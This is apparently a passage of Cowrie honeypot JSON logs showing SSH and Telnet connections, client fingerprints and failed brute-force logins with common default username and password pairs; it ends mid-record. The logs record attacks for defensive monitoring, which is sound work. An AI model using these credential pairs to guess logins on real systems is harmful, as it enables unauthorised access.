{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":47350,"dst_ip":"10.17.0.5","dst_port":23,"session":"27e1bfb148d5","protocol":"telnet","message":"New connection: 3.130.168.2:47350 (10.17.0.5:23) [session: 27e1bfb148d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:09.200737Z"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:11.565776Z","src_ip":"213.209.159.158","session":"6839894c5186","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.6","message":"Connection lost after 12.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:14.352626Z","src_ip":"213.209.159.158","session":"6839894c5186","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":64728,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dc6f2ae0972","protocol":"ssh","message":"New connection: 213.209.159.158:64728 (10.17.0.5:22) [session: 0dc6f2ae0972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:14.430111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:16.549726Z","src_ip":"213.209.159.158","session":"0dc6f2ae0972","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:16.553385Z","src_ip":"213.209.159.158","session":"0dc6f2ae0972","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.02104663848877,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:19.221673Z","src_ip":"3.130.168.2","session":"27e1bfb148d5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"t","message":"login attempt [user/t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:23.998222Z","src_ip":"213.209.159.158","session":"0dc6f2ae0972","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.8","message":"Connection lost after 12.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:27.191835Z","src_ip":"213.209.159.158","session":"0dc6f2ae0972","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":20894,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6805e09cd0b","protocol":"ssh","message":"New connection: 213.209.159.158:20894 (10.17.0.5:22) [session: f6805e09cd0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:27.270887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:28.999678Z","src_ip":"213.209.159.158","session":"f6805e09cd0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:29.003558Z","src_ip":"213.209.159.158","session":"f6805e09cd0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alfonso","password":"alfonso","message":"login attempt [alfonso/alfonso] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:36.267339Z","src_ip":"213.209.159.158","session":"f6805e09cd0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.1","message":"Connection lost after 12.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:39.406117Z","src_ip":"213.209.159.158","session":"f6805e09cd0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":4312,"dst_ip":"10.17.0.5","dst_port":22,"session":"581b4d3323c3","protocol":"ssh","message":"New connection: 213.209.159.158:4312 (10.17.0.5:22) [session: 581b4d3323c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:39.533991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:41.204170Z","src_ip":"213.209.159.158","session":"581b4d3323c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:41.207567Z","src_ip":"213.209.159.158","session":"581b4d3323c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amax","password":"amax","message":"login attempt [amax/amax] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:48.411841Z","src_ip":"213.209.159.158","session":"581b4d3323c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.8","message":"Connection lost after 11.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:51.364456Z","src_ip":"213.209.159.158","session":"581b4d3323c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":61540,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdbcc5afa0c2","protocol":"ssh","message":"New connection: 213.209.159.158:61540 (10.17.0.5:22) [session: cdbcc5afa0c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:51.465863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:53.069194Z","src_ip":"213.209.159.158","session":"cdbcc5afa0c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:53.071937Z","src_ip":"213.209.159.158","session":"cdbcc5afa0c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amq","password":"123456","message":"login attempt [amq/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:59.971985Z","src_ip":"213.209.159.158","session":"cdbcc5afa0c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":58984,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf1ddd3c1359","protocol":"telnet","message":"New connection: 3.130.168.2:58984 (10.17.0.5:23) [session: cf1ddd3c1359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:00.047923Z"}
{"eventid":"cowrie.session.closed","duration":0.005633831024169922,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:00.053390Z","src_ip":"3.130.168.2","session":"cf1ddd3c1359","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.30.211","src_port":37798,"dst_ip":"10.17.0.5","dst_port":22,"session":"8466269050a1","protocol":"ssh","message":"New connection: 159.65.30.211:37798 (10.17.0.5:22) [session: 8466269050a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:01.314465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:01.318254Z","src_ip":"159.65.30.211","session":"8466269050a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:01.393558Z","src_ip":"159.65.30.211","session":"8466269050a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arweave","password":"arweave","message":"login attempt [arweave/arweave] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:01.545404Z","src_ip":"159.65.30.211","session":"8466269050a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:02.626745Z","src_ip":"159.65.30.211","session":"8466269050a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:02.803895Z","src_ip":"213.209.159.158","session":"cdbcc5afa0c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":8302,"dst_ip":"10.17.0.5","dst_port":22,"session":"61e53aaac00d","protocol":"ssh","message":"New connection: 213.209.159.158:8302 (10.17.0.5:22) [session: 61e53aaac00d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:02.881226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:04.511950Z","src_ip":"213.209.159.158","session":"61e53aaac00d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:04.515326Z","src_ip":"213.209.159.158","session":"61e53aaac00d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":36740,"dst_ip":"10.17.0.5","dst_port":22,"session":"46cb7ef581f6","protocol":"ssh","message":"New connection: 2.57.122.238:36740 (10.17.0.5:22) [session: 46cb7ef581f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:06.545171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:06.550828Z","src_ip":"2.57.122.238","session":"46cb7ef581f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:06.650240Z","src_ip":"2.57.122.238","session":"46cb7ef581f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:06.947968Z","src_ip":"2.57.122.238","session":"46cb7ef581f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:08.049744Z","src_ip":"2.57.122.238","session":"46cb7ef581f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"test","message":"login attempt [bitrix/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:11.236108Z","src_ip":"213.209.159.158","session":"61e53aaac00d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:14.147504Z","src_ip":"213.209.159.158","session":"61e53aaac00d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":40966,"dst_ip":"10.17.0.5","dst_port":22,"session":"21866f623072","protocol":"ssh","message":"New connection: 213.209.159.158:40966 (10.17.0.5:22) [session: 21866f623072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:14.234271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:15.746231Z","src_ip":"213.209.159.158","session":"21866f623072","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.